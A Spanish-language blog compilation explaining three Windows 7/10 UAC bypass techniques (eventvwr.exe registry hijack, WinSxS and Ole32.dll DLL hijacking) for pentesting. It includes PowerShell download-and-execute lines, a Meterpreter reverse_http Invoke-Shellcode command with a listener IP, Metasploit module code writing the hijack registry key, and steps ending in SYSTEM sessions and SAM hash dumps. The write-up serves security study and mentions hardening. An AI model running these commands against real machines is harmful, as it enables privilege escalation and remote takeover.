Recopilamos desde un informático en el lado del mal estos trés métodos para saltarse el UAC de Windows 7 y Windows 10.

1.
Fileless
1a. Módulo de Metasploit para método Fileless
2. WinSxS
3. Hijacking Ole32.dll y .NET



1. UAC bypass con Fileless

Matt Graeber ha publicado un nuevo método para saltarse el sistema de protección de User Account Control (UAC) y hacer elevación automática de privilegios - siempre y cuando el usuario pertenezca al grupo administradores. Esto es importante, ya que el sistema UAC está pensado para que un usuario administrador pueda estar en una sesión de trabajo normal sin que se estén usando sus privilegios de administración, y pueda controlar cuándo y cómo quiere que se usen. Por ejemplo, si ejecuta el Bloc de Notas, ese programa no debería ejecutarse con privilegios de administración e inyectar un driver en el kernel y si lo quiere hacer, el sistema UAC avisa al administrador para que decida si concede o no ese privilegio. En este artículo lo tienes explicado en detalle: User Account Control

Para conseguir que sea más usable el sistema sin que solicite tantas alertas, existen algunas herramientas que se consideran "de administración implícita", lo que hace que si un usuario administrador las abre, esa aplicación se ejecuta automáticamente con permisos de administrador sin avisar al usuario porque se asume que es evidente que esa herramienta necesita los permisos y la persona que la está ejecutando lo sabe. Esto solo está disponible en versiones de Windows 7 a Windows 10.

Figura 2: Modos UAC. En Windows 7 a Windows 10 hay autoelevación "implícita" en herramientas

Encontrar herramientas que hagan autoelevación y aprovechar estos privilegios para ejecutar programas como administrador es lo que se conoce como Bypass de UAC. Las técnicas conocidas para llevar a cabo un bypass de UAC hasta el momento necesitan de la copia de un archivo, generalmente una DLL, en disco. La nueva técnica proporciona una forma de no copiar un archivo al disco, lo cual supone un “plus” a la hora de evadir mecanismos de seguridad y/o protección. Tal y como anunciaba Matt en su Github, la técnica se ha probado en Windows 7 y Windows 10.


¿En qué consiste el UAC Bypass?

Cuando el proceso eventvwr.exe que utiliza el servicio Event Viewer se ejecuta realiza algunas consultas al registro de Windows, en concreto contra la sección HKEY_CURRENT_USER. Eventvwr genera esas consultas siendo un proceso de alta integridad, es decir, se ejecuta con privilegio. En los sistemas operativos Windows este servicio monitoriza todo lo que está sucediendo dentro del sistema, generando eventos que pueden lanzar tareas a posteriori.

En este caso, el servicio eventvwr.exe está monitorizando claves del registro de Windows con nivel de privilegios administrativos auto-elevados, y ahí radica la forma de saltarse la protección de UAC.¿Qué claves y ramas (Hives) del Registry son importantes en este bug? HKEY_CLASSES_ROOT (HKCR) es una de ellas, ya que es un Hive dónde se combina HKEY_LOCAL_MACHINE:\Software\Classes y HKEY_CLASSES_USER:\Software\Classes. Esto es realmente interesante, ya que HKCU puede ser modificado por el usuario sin privilegios, mientras que HKLM no. Entonces, si un proceso con privilegios administrativos auto-elevados, como puede ser en este caso eventvwr.exe ejecuta algo del Hive HKCR, potencialmente se podría inyectar una clave maliciosa que forzará al proceso a realizar determinadas acciones y éstas se ejecutarían con Nivel de Integridad Alta y privilegios administrativos.

Además, el binario eventvwr.exe ya se sabe que auto-eleva debido a su fichero Manifest. Como se ha explicado al principio, se sabe que algunos binarios de Microsoft están firmados por ellos de tal forma que el sistema operativo los auto-eleva por ser herramientas de administración que se supone con dichos niveles privilegiados siempre. Se puede encontrar más información sobre este tema en la Knowledge Base de Microsoft. Si volvemos al caso de Event Monitor, el proceso eventvwr.exe interactúa con HKCU\Software\Classes\mscfile\shell\open\command, aunque dicha consulta acaba en un “Nombre no encontrado”. Esto puede ser ojeado con Process Monitor de Sysinternals.

Figura 5: Claves del registro tocadas por eventvwr.exe

Por otro lado, eventvwr.exe también realiza una consulta a HKCR\mscfile\shell\open\command, y el valor predeterminado es mmc.exe.

Figura 6: Clave del registro command

Aunque la consulta a HKCU devolvió un error, se realizó antes que a HKCR, por lo que deja la puerta abierta a que el proceso eventvwr.exe pueda invocar o interactuar con lo que en HKCU se ponga, haciendo que haya una potencial elevación de privilegio mediante un bypass al UAC.

La nueva PoC de Matt con PowerShell

Viendo dónde radica el fallo, Matt propone un nuevo escenario. Se decide crear la estructura de registro necesaria para que eventvwr.exe consulte correctamente la ubicación HKCU, en lugar de la ubicación HKCR. En la prueba de concepto que se puede encontrar en el Github de Enigma0x3 se puede ver cómo en la ubicación HKCU\Software\Classes\mscfile\shell\open\command se incluye como valor el ejecutable de PowerShell.

Esta acción sustituye al valor esperado, que sería mmc.exe, por el valor de powershell.exe. A medida que el proceso continúa, se consigue ejecutar una consola PowerShell, en lugar del mmc.exe, que sería el valor esperado. Si se echa un ojo con Process Explorer se podría ver cómo el interfaz de comandos PowerShell se está ejecutando con Nivel de Integridad Alta, por lo que aquí tendríamos ya la elevación del privilegio.

Si se puede ejecutar una sesión PowerShell, se podría ejecutar un script malicioso, sin lugar a la duda. En resumen, Matt consigue ejecutar código en un proceso con Nivel de Integridad Alta, hacer un bypass del UAC, todo ello sin necesidad de secuestrar una DLL u otro archivo y sin copiar archivos a disco. Esto reduce de forma muy significativa el riesgo de detección para el atacante.

Para ver la PoC funcionando Matt Graeber y Enigma0x3 han publicado un script que implementa una función denominada Invoke-EventVwrBypass, la cual lleva a cabo la modificación del hive de HKCU y la invocación del proceso eventvwr.exe. El resultado final, si todo funciona correctamente, es que se genera un archivo denominado UACBypassTest.txt en la ruta C:\, la cual solo puede ser escrita cuando se tiene privilegio máximo en el sistema. Para hacerlo funcionar, una vez descargado el script de PowerShell que tiene el exploit para realizar el Bypass de UAC se puede abrir una PowerShell y ejecutar import-module [nombreScript.ps1].

Figura 7: Ejecución de la PoC en PowerShell

Como se puede ver en la imagen anterior, se ejecuta la función Invoke-EventVwrBypass junto al parámetro Command. En el parámetro Command se le indica que queremos ejecutar con privilegio, y se realiza una llamada al binario powershell.exe y el código "encodeado". Ese código generará un archivo en una ruta privilegiada, como es C:\, tal y como se puede ver en la siguiente imagen.

Figura 8: Fichero creado en C:\ por la PoC

Un toque personal a la PoC para Ownear Windows

La PoC de Matt y Enigma0x3 ha demostrado que existe una formar de hacer Bypass de UAC, pero nosotros hemos querido un paso más allá y hacer la ejecución de código más práctica, sobre todo pensando en un Pentesting con PowerShell. El escenario propuesto es el siguiente:
- Acceso físico o remoto al equipo: En este caso se hará una demostración con acceso físico, pero como se pudo ver en el artículo Tater & Hot Potato: Ownear sistemas Microsoft Windows, se podría tener acceso remoto mediante la explotación de alguna vulnerabilidad y llevar a cabo el bypass a través del payload de Powershell para Metasploit.
- Ejecución de Payload: Haremos que Powershell se descargue una función dinámicamente y la ejecute. Esta función será Invoke-Shellcode del framework de post-explotación Powersploit.
- Payload descargado dinámicamente: La función descarga dinámicamente y su ejecución será encodeada para que la función Invoke-EventVwrBypass la pueda ejecutar.
- Consola de Metasploit: Una vez conseguido el bypass recibiremos un Meterpreter en nuestra consola remota de Metasploit.
- Owned Total: Demostraremos que tenemos un Meterpreter que se ejecuta en el contexto de System.
En primer lugar, vamos a estudiar un pequeño código y todo lo que nos ofrece. La sintaxis es sencilla:
IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’)
Este código lo que hace es descargarse desde una ubicación externa cualquier tipo de código PS1, y mediante el uso de ‘IEX’, Invoke-Expression, se lleva a cabo su ejecución. El fichero que descargaremos será un script PS1 que tendrá la función Invoke-Shellcode y una línea que configura su ejecución al estilo:
Invoke-Shellcode -Payload windows/meterpreter/reverse_http
-Lport 8000 -Lhost 192.168.56.101 -Force
Hay que señalar que se está usando una versión antigua de Invoke-Shellcode. Ahora para encodear la instrucción IEX (New-Object Net.WebClient).DownloadString(‘[ruta HTTP fichero PS1]’), se puede utilizar la función Out-EncodedCommand, la cual puede ser descargado desde Powersploit, y usarlo de forma similar a cómo lo usé en PSBot.

Figura 9: Código ofuscado en PowerShell

Ese código encodeado será el que debamos utilizar para la función Invoke-EventVwrBypass. Antes de seguir, se debe configurar en Metasploit el módulo exploit/multi/handler para recibir la conexión. Los parámetros para esta PoC son sencillos:
- Payload: windows/meterpreter/reverse_http.
- LHOST: [IP nuestra]
- LPORT: 8000
Ahora, abriendo una PowerShell, con el módulo importado de Invoke-EventVwrBypass, se ejecuta la siguiente línea:
Invoke-EventVwrBypass -Command “[ruta Powershell] -enc [Código encodeado]”
Esto aprovechará la vulnerabilidad explicada anteriormente y nos proporcionará una sesión en la dirección IP dónde le hayamos indicado.

Figura 10: Explotación del bypass de UAC para conseguir una sesión privilegiada

Al recibir la sesión en nuestra consola de Metasploit podemos comprobar que el usuario es SYSTEM y podemos, por ejemplo, realizar un volcado de hashes de la máquina. Tenemos el control total.

Conclusiones y vídeo final

Esta técnica no requiere copiar archivos en disco, y directamente todo ocurre en memoria, lo cual ayuda, y mucho, a evadir sistemas de seguridad. Esta técnica no requiere ningún proceso de inyección. Esta técnica permite lograr un bypass de UAC, es decir, no es una escalada de privilegios total, ya que se necesita que el usuario pertenezca al grupo administradores. Pero consiguiendo engañar al usuario se pueden conseguir sesiones privilegiadas en un Ehtical Hacking haciendo uso de técnicas de Pentesting con PowerShell, tal y como podéis ver en el siguiente vídeo:


Figura 11: Consecución de una sesión privilegiada haciendo Bypass de UAC

El fallo de seguridad puede ser remediada si se sigue un proceso de fortificación de Windows y se establece una configuración del nivel de UAC en Modo Windows "Vista", es decir, con la opción de “Siempre notificar”, aunque a muchos usuarios les pese encontrar ese mensaje, o incluso en “Siempre solicitar credenciales”. En definitiva, nueva técnica que deberemos llevar en la mochila del pentester por si acaso se le puede sacar partido en un proyecto.

Autor: Pablo González Pérez (@pablogonzalezpe)




1a. Módulo Metasploit para UAC bypass con Fileless

Tras el estudio anterior de Matt me puse manos a la obra para modificar la prueba de concepto y ejecutar código arbitrario “más interesante” que permitía tomar el control remoto en una consola de Metasploit con el máximo privilegio, es decir, como SYSTEM.

Estuve viendo durante unos días si en el Github oficial de Metasploit se publicaba un módulo para explotar esta vulnerabilidad, ya que existe el conocido módulo de bypassuac dentro de la ruta exploits/windows/local. Este módulo tiene diferentes técnicas de explotación, pero por lo que pude ver con el paso de los días es que no se subía una versión del nuevo bypass de UAC. Nosotros somos de la cultura de háztelo tú mismo y a tu gusto, y allí que me lance. Utilicé como “molde” el bypassuac que viene con Metasploit. El resultado se encuentra disponible en mi Github.


Además, decidí enviar a la gente de exploit-db el port del módulo de Metasploit y me lo publicaron, por lo que podéis encontrarlo en exploit-db o en el sitio de 0day.today.

Figura 3: Publicación del módulo en exploit-dd

Dicho todo esto, ha llegado el momento de destripar el módulo completo y sus partes más importantes, además de que veamos una prueba de concepto en ejecución del mismo. Vamos a ello.

Función Exploit

Como mencioné anteriormente, el “molde” es el de bypassuac, del cual se pueden aprovechar funciones como check_permissions! o validate_environment!. La primera función se encarga chequear si el contexto de la sesión sobre la que se ejecutará el módulo pertenece a un usuario administrador y el nivel de integridad de ejecución del proceso. La segunda función valida la configuración de User Account Control en la máquina objetivo dónde se quiere llevar a cabo la escalada de privilegios.

La función exploit ha sido implementada para lograr el bypass de UAC siguiendo el modelo de Fileless. El algoritmo sigue los siguientes pasos:
1. Verificación de la configuración del UAC: Debe estar en UAC_DEFAULT para lograr la máxima probabilidad.
2. Ruta del registro: Comprobación de la ruta del registro HKCU\Software\Classes\mscfile\shell\open\command.
3. En caso de no existir la ruta anterior se debe crear.
4. La ruta del registro anterior será la utilizada por el proceso eventvwr.exe para lograr la escalada de privilegio, como se comentó en el artículo primero.
5. Aquí empieza el “show”. Los caracteres en la entrada del registro están limitados. Por esta razón se introduce la siguiente instrucción:
reg = "IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')"
Esta instrucción es almacenada en la clave HKCU\Software\Classes\mscfile\shell\open\command, en su valor por default. Cuando se invoque a eventvwr.exe, éste consultará la existencia de dicha clave y su valor y lo ejecutará, por lo que se ejecutará la instrucción, cuando terminemos de construirla, de Powershell.
6. La instrucción command = cmd_psh_payload(payload.encoded, 'x86',{:remove_comspec => true,:encode_final_payload => true}) genera en código Powershell el payload que hayamos indicado con SET PAYLOAD [payload]. Se almacena para posteriormente almacenarlo en un fichero de texto.
7. Ahora, con la instrucción_
result = registry_setvaldata('HKCU\Software\Classes\mscfile \shell\open\command','bypass','C:\Windows\System32 \WindowsPowerShell\v1.0\powershell.exe -C ' + reg,'REG_SZ')
se crea una entrada en el registro con la instrucción que deberá ejecutar eventvwr.exe cuando se invoque, provocando su ejecución en un contexto de integridad alta. Hay que fijarse que el nombre de la entrada es bypass y no Default o Predeterminado, ¿Por qué? Es necesario hacerlo así, ya que no fui capaz de conseguir generar la entrada Default, puede que por torpeza
8. Después se puede observar una llamada a la función execute_script, el cual ejecuta un pequeño script en Powershell que se encarga de copiar el valor de la entrada bypass anterior a Default.
9. La última instrucción es r = session.sys.process.execute("cmd.exe /c c:\\windows\\system32\\eventvwr.exe",nil,{'Hidden' => true, 'Channelized' => true}), la cual se encarga de invocar al proceso que desembocará la escalada de privilegios.
¿Qué cosas debemos tener en cuenta?

Una vez que se ha destripado el algoritmo, vamos a tener en cuenta una serie de cosas. En primer lugar, vamos a ver el esquema global hasta conseguir que el payload se ejecute en un contexto privilegiado. Hay unos parámetros en la función initialize que son nuevos:

- FILE_DYNAMIC_PAYLOAD: refleja el fichero dónde se almacenará el payload, por ejemplo, un Meterpreter. Este fichero será descargado por una Powershell en el momento que el proceso eventvwr.exe sea ejecutando, búsqueda en la ruta HKCU\Software\Classes\mscfile\shell\open\command y encuentre la entrada creada con valor y lo ejecute.

Figura 4: Parámetros del payload

- IPHOST: almacena la dirección IP del servidor web dónde se almacena el fichero de texto que se debe descargar.

- LOCAL: Es un booleano. Por defecto vale true, que quiere decir que el servidor web se encuentra en la misma máquina dónde se encuentra Metasploit. Si, por el contrario, la variable estuviera a false, significaría que el payload no se debe generar y escribir en esta máquina. Debe ser ya el usuario el encargado de almacenar un payload manualmente en otro servidor. El módulo seguiría funcionando.

En resumen

Si utilizamos el modo LOCAL del módulo (que viene por defecto) debemos utilizar, por ejemplo, Apache, por lo que tenemos que tenerlo arrancado. La ruta que el módulo coge como base de Apache es /var/www/html, y está hardcodeada en código. Cualquiera puede mejorar el módulo y añadirle funcionalidades o características.

Debemos indicar qué fichero almacenará el payload que se ejecutará dinámicamente (y en memoria) en la máquina remota. Este payload será el que se ejecute ya en el contexto elevado o privilegiado. Para configurar en qué fichero se almacenará el paylaod se debe ejecutar el comando SET FILE_DYNAMIC_PAYLOAD.

Por otro lado, debemos decirle al módulo en qué dirección IP se encuentra el servidor de dónde se descargará el fichero. Esto se realiza a través de SET IPHOST. Por último, la variable LOCAL, solo se debe configurar si queremos cambiar el escenario, e ir a buscar el payload a otro servidor. Por supuesto, hay que indicar el identificador de sesión, mediante SET SESSION [ID SESSION].

Figura 5: Opciones del módulo

Cuando ejecutemos el método exploit el módulo comprobará a través del ID de sesión indicado todo lo comentado en el apartado “Función Exploit” de este artículo, llegando al punto de crear la entrada en el registro con el valor:
C:\Windows\System32\WindowsPowerShell\v1.0\powersh ell.exe -C IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')
Justo después se lanzará el proceso eventvwr.exe y éste consultará el registro y lo que estará ejecutando es una consola de Powershell que se conectará a dónde indique IPHOST y se descargará el fichero FILE_DYNAMIC_PAYLOAD.

Si analizamos el contenido del fichero FILE_DYNAMIC_PAYLOAD veríamos una sentencia similar a esta powershell.exe -nop -enc [código encoded]. Y se ejecutaría. Justo aquí estaríamos logrando realizar el bypass de UAC en Windows 7 o Windows 10.

PoC: Juguemos con el módulo

El escenario inicial es una sesión sobre una máquina Windows 7/10. En este escenario tenemos que tener en cuenta que no tendremos privilegios.

Figura 6: Comprobación de privilegios en máquina objetivo

Ahora configuramos los siguientes parámetros:
- FILE_DYNAMIC_PAYLOAD.
- IPHOST.
- SESSION.
- PAYLOAD (Meterpreter).
- LHOST (si el payload es reverse).
Figura 7: Configuración de parámetros del módulo

Al ejecutar el exploit se configura el handler y se llevan a cabo las validaciones de la función validate_environment!. Se comprueba con check_permissions! y se obtiene la sesión inversa. En este instante tenemos una sesión que se está ejecutando en un contexto elevado o privilegiado, lo cual es fácil de comprobar.

Figura 8: Ejecución del exploit

Ejecutamos el comando getsystem y podemos impersonalizar a SYSTEM. En la siguiente imagen se puede ver cómo podemos lograr un volcado de la SAM de Windows, ya que ejecutamos como SYSTEM.

Figura 9: Ejecución de comandos como SYSTEM en la máquina Windows objetivo

Ha sido divertido implementarse el módulo para este bypass de UAC en Windows 7 y Windows 10, y ver cómo unir la fuerza de Metasploit y Powershell ayuda y mucho en un proceso de ethical hacking. Si mejoráis el módulo o se os ocurren nuevas ideas notificarlo, ¡todas son bienvenidas!

Autor: Pablo González Pérez (@pablogonzalezpe)






2. Bypass de UAC con WinSxS

WinSxS, Windows Side-by-Side, se introdujo con Windows Server 2008 y es un almacén dónde el sistema contiene componentes de Windows que se pueden utilizar durante las instalaciones o componentes que pueden ser necesarios para la ejecución de una aplicación, por ejemplo, una librería DLL. La gente de FuzzySecurity ha estado investigando sobre un caso de abuso o explotación del mecanismo de protección UAC en Windows. Gracias a este bypass se logra ejecutar código con nivel de integridad alto, es decir, con el máximo privilegio.

Antes de desglosar el bypass vamos a comentar una serie de conceptos que debemos tener claros. Lo primero, sería entender que los procesos creados por el usuario administrador real de la máquina tienen ciertos privilegios que no tienen los procesos creados por los usuarios, aunque pertenezcan al grupo Administrador. En el instante, en el que un usuario del grupo administrador ejecuta un proceso con “Ejecutar como Administrador” los privilegios serían elevados.

Para ejemplificar esto, en la siguiente imagen hacemos uso de la herramienta Get-TokenPrivs que se puede descargar desde Github útil para hacer Pentesting con Powershell. En la imagen, se puede ver como hay dos ejecuciones de cmd.exe abiertas, una con privilegios elevados y otra sin ellos. Como se puede ver, uno tiene 23 privilegios, incluido el de impersonalización o uso del token SYSTEM, mientas que el otro no.

Figura 2: Ejecución de cmd.exe con dos niveles de privilegios distintos

La utilización del “Ejecutar como Administrador” hace que los usuarios privilegiados puedan realizar acciones diferentes al resto de usuarios. Si evaluamos el uso del sistema operativo por parte de usuarios privilegiados y los que no, la creación de procesos no difiere tanto hasta que los privilegiados utilizan la opción “Ejecutar como Administrador”. En ese instante, el cambio de token requiere que UAC notifique o solicite contraseña, dependiendo de la configuración que haya en la política de seguridad de la máquina.


En algunas ocasiones, y dependiendo de la configuración o ajustes de fortificación de Windows que UAC tenga, los programas del sistema se elevan automáticamente si el usuario pertenece al grupo administrador. Estos binarios se pueden identificar observando el manifiesto. Si encontramos la opción AutoElevate con valor igual a Tue, significa que no hay necesidad de pedir la elevación de privilegios, ya que el binario está firmado por Microsoft y debido a esto y a que el usuario es administrador se llevará a cabo la elevación sin solicitar la confirmación.

Figura 4: Opción de Autoelevación solo está disponible en modo "Windows 7"

Esto puede verse como una debilidad, la cual Microsoft configuró para mejorar la usabilidad y las críticas sufridas con UAC en su día al lanzarlo en Windows Vista, y por eso solo está presente de Windows 7 en adelante.

¿Dónde encontraron el fallo?

Analizando diversas aplicaciones firmadas por Microsoft, como es el caso de msra.exe o tcmsetup.exe, se encontraron una operación que realizaba el binario sobre el sistema de archivos en el que se obtenía un resultado NAME NOT FOUND.

Como se puede ver en la imagen, cuando se ejecuta la aplicación tcmsetup.exe se realiza una búsqueda en un directorio que no existe. Analizando las líneas posteriores se ve que se realiza la búsqueda por una DLL, la cual es encontrada en el contenedor WinSxS. De aquí se puede entender que si se lograse crear una DLL maliciosa en la carpeta \Windows\System32\tcmsetup.exe.Local se podría ejecutar dicha DLL y ejecutar código en un nivel de integridad alto, es decir, como Administrator. El binario está firmado por Microsoft, por lo que no hay solicitud de UAC.

Figura 5: Excepción de NAME NOT FOUND

En este punto, está claro que \Windows\System32 es un directorio dónde no se podrá crear dicha carpeta y copiar la DLL maliciosa al directorio. En este punto, se pensó en la auto elevación de los objetos COM. Uno de los objetos COM es muy útil en este caso y es IFileOperation. Este objeto contiene métodos que permiten copiar, mover, eliminar objetos del sistema de archivos como ficheros y carpetas.

El plan es el siguiente: el atacante escriba un DLL que instancia el objeto COM de IFileOperation y ejecuta un método que mueva los archivos al directorio \Windows\System32 o directorio protegido. Para la obtención del objeto COM auto elevado, la DLL se inyecta en un proceso de integridad medio, el cual se ejecuta en un directorio de confianza, posiblemente “explorer.exe”. Se puede encontrar más información en este artículo, realmente interesante.

Hay otra vía, un poco más flexible o sencilla de manejar ésta operativa y es a través de Powershell. Los objetos COM dependen de PSAPI para identificar en qué proceso se están ejecutando. PSAPI analiza el PEB, Process Environment Block, para obtener la información, por lo que un atacante podría sobrescribir el PEB para engañar a PSAPI. Esto se realiza a través de la herramienta Masquerade-PEB en Powershell.

PoC: Bypass UAC con Objetos COM y evitando a WinSxS

Como se vio anteriormente, el problema radica en que la DLL que se intenta cargar está en un directorio que no existe en \Windows\System32, lo cual concatenado con la autoelevación de los objetos COM puede permitirnos lograr mover una DLL maliciosa en dicha carpeta. En el momento de la ejecución de la aplicación legítima, la carpeta y DLL que no eran encontradas, se encontrarán y se ejecutarán, consiguiendo ejecutar código con integridad alta.

Figura 6: Ejecución de bypass UAC con WinSxS con script de FuzzySecurity

Para simplificar esto, los investigadores de FuzzySecurity han hecho un script en Powershell, el cual reúne todo lo necesario para llevar a cabo el bypass de UAC. En la siguiente imagen, se puede ver la ejecución del script y el resultado es una consola de Powershell dónde podemos escribir por ejemplo en la ruta \, lo cual nos indica que ese nuevo proceso se está ejecutando con integridad alta, es decir, como administrador.

¿Dónde poder aprovechar esto?

En las auditorías internas dónde se tenga acceso a una máquina remota y se requiera una elevación de privilegios podemos utilizar éste bypass UAC para lograr un proceso privilegiado, siempre y cuando se cumplan los requisitos. En el siguiente vídeo tienes la demo en funcionamiento.


Figura 7: Bypass de UAC usando WinSxS en Windows 7

Interesante forma de hacer bypass UAC en sistemas Windows desde 7 a 10. Hay que tener en cuenta que existen muchos binarios firmados por Windows y que pueden ser vulnerables a este tipo de técnica, por lo que como siempre os animamos a que echéis un ojo. Os recomiendo que leáis el libro de nuestro compañero y amigo Sergio de los Santos (@ssantosv) para tener Máxima Seguridad en Windows, donde se trata ampliamente este tema desde el punto de vista de la fortificación del sistema.



Figura 8: Bypass de UAC usando WinSxS en Windows 10

Autor: Pablo González Pérez (@pablogonzalezpe)









3. UAC bypass con Hijacking de Ole32.dll y .NET

Ahora hablaremos de un concepto similar, que se aprovecha de la posibilidad de hacer un
hijacking (o secuestro) del fichero Ole32.dll en .NET Framework
. En el repositorio GitHub de Fuzzysecurity se puede encontrar más información sobre este tipo de vía para realizar un bypass del UAC (Control de Cuentas de Usuario) en Windows. La verdad es que es muy similar al que comentamos en el artículo anterior, pero tiene ciertos detalles que debemos revisar.

Tenemos tres elementos fundamentales para entender este bypass de UAC. Antes de explicarlos, hay que ver cuál será el vector utilizado para llevar a cabo esta elevación de privilegio en Windows 7 y Windows 10.

Conceptos generales de este bypass UAC

Para entender este entorno, el atacante estará conectado a través de una sesión remota, ya que habrá vulnerado algún tipo de proceso de la máquina y tendrá una shell, un meterpreter o algo similar. Teniendo en cuenta que la máquina tiene una configuración de UAC que viene por defecto en Windows a partir de Windows 7 en adelante -, y que la identidad del proceso del vulnerado corresponde con la de un usuario del grupo de administradores, se podrá llevar a cabo el bypass.

Figura 2: Un Windows 7 o Windows 10 con Máxima Seguridad debería tener UAC en "Modo Windows Vista"

El objetivo está claro, aprovechar está sesión remota, dónde no hay privilegio administrativo, para hacer un bypass de UAC y conseguir ejecutar en un contexto de integridad alta o de SYSTEM. El atacante necesitará utilizar tres elementos que enumeramos a continuación:
1. Masquerade-PEB, el cual se encargará de spoofear el proceso explorer.exe. El objetivo es que el objeto COM sea engañado.
2. Invoke-IFileOperation, el cual expone los métodos del objeto COM de IFileOperation a Powershell. Desde aquí se podrán realizar acciones que, generalmente, no se podrían realizar como, por ejemplo, mover una DLL de una ubicación no protegida a una sí protegida.
3. Emit-Yamabiko. Esta función escrita en Powershell escribe una DLL maliciosa en disco. En esta DLL podríamos tener, perfectamente, un Meterpreter, el cual al ser ejecutado por el proceso padre que se esté ejecutando con integridad alta, lograría darnos el control de máquina en un contexto de integridad alta, es decir, con privilegio.

Este bypass funciona con Windows x32 y x64 y desde Windows 7 a Windows 10. La idea del bypass radica en que cuando mmc.exe es ejecutado con un perfil concreto, por ejemplo, gpedit.msc o services.msc, se realiza una serie de búsquedas en disco sobre una DLL, la cual no es encontrada.


Como se puede ver en la imagen siguiente, hay una DLL llamada ole32.dll, que no es encontrada dentro de la ruta del framework de .NET. Esto quiere decir, que, si pudiéramos escribir en esa ruta, se podría provocar la ejecución de dicha DLL, cuando de nuevo se invocase mmc gpedit.msc, o cualquier perfil o complemento *.msc que llame a dicha DLL.

Figura 4: DLL de ole32.dll no encontrada

En el caso de Windows 10, la ruta no sería v2.0 del framework, sino que al menos la v4.0, pero también se echaría en falta la DLL. Según, Fuzzysecurity (@FuzzySec), la DLL MFC42LOC.dll podría también funcionar bien y provocar el bypass, pero no terminaron de hacerlo funcionar. En el caso de ole32.dll sí funcionó correctamente.

Hijacking a ole32.dll

Para conocer la versión del framework .NET que se está utilizando se puede ejecutar esta instrucción en Powershell. En mi caso, en Windows 7 me devolvió la versión 2.0, mientras que en Windows 10 la 4.0.
[System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion.
En primer lugar, se impersonaliza el proceso explorer.exe con la ejecución de Masquerade-PEB. Una vez logrado esto, se prepara la DLL maliciosa o que contiene el código que queremos ejecutar. Se utiliza el directorio temporal, accesible desde $env:temp. Aquí se genera la DLL, la cual será copiada aprovechando la opción de auto elevado (Autoelevate) de los objetos COM en Windows y la posibilidad de utilizar Invoke-IFileOperation para exponer el objeto a Powershell.

Figura 5: Código para mover la DLL a un directorio privilegiado e invocación de gpedic.msc

En este código, se puede ver cómo se utiliza el objeto $IFileOperation para mover la DLL almacenada en el directorio temporal, que se almacena en la variable $DLLPath. Este objeto tiene privilegios para copiar la DLL de un directorio no privilegiado a otro que sí, tal y como se puede ver en el código. Por último, se invoca la instrucción mmc.exe gpedit.msc, provocando que se encuentre la DLL almacenada en el path de .NET, en esta ocasión ole32.dll.

PoC: Metasploit y Powershell unidos

Para realizar la prueba de concepto de este bypass de UAC, el escenario que hemos propuesto aquí es el siguiente:
- Partimos de una sesión de Metasploit, a través del payload de Powershell.
- Cargamos dinámicamente en memoria la función Bypass-UAC.ps1 desde el Github de Fuzzysecurity.
- Hemos subido una DLL con un Meterpreter a la máquina. Esto se puede generar fácilmente con Metasploit.
Figura 6: Sesión no privilegiada en la máquina objetivo

Si miramos el provider de funciones de Powershell encontramos la función Bypass-UAC ya cargada en memoria tras descargarla del repositorio de GitHub. Es decir, podremos ejecutar el bypass desde esta función.

Figura 7: Repositorio de funciones cargadas en memoria

Ahora, simplemente debemos invocar a la función e indicarle que DLL queremos ejecutar. Además, debemos tener claro que deberemos disponer de un handler para recibir la sesión.

Figura 8: Invocación de bypass

Esto es importante, ya que si no no podremos capturar la nueva sesión con privilegio o integridad alta.

Figura 9: Sesión elevada a SYSTEM

Como se puede ver, un Bypass de UAC, el cual nos permite escalar privilegios en un sistema Windows 7 o Windows 10. Queremos recordar algún post anterior, como el bypass UAC Fileless o el módulo de Metasploit que se implementó con la técnica Fileless, la cual es mucho mejor a la hora de pasar desapercibido en el sistema comprometido. Recuerda, todos estos bypass dejan de funcionar si tienes fortificado Windows y no en su configuración de UAC por defecto.

Autor: Pablo González Pérez (@pablogonzalezpe)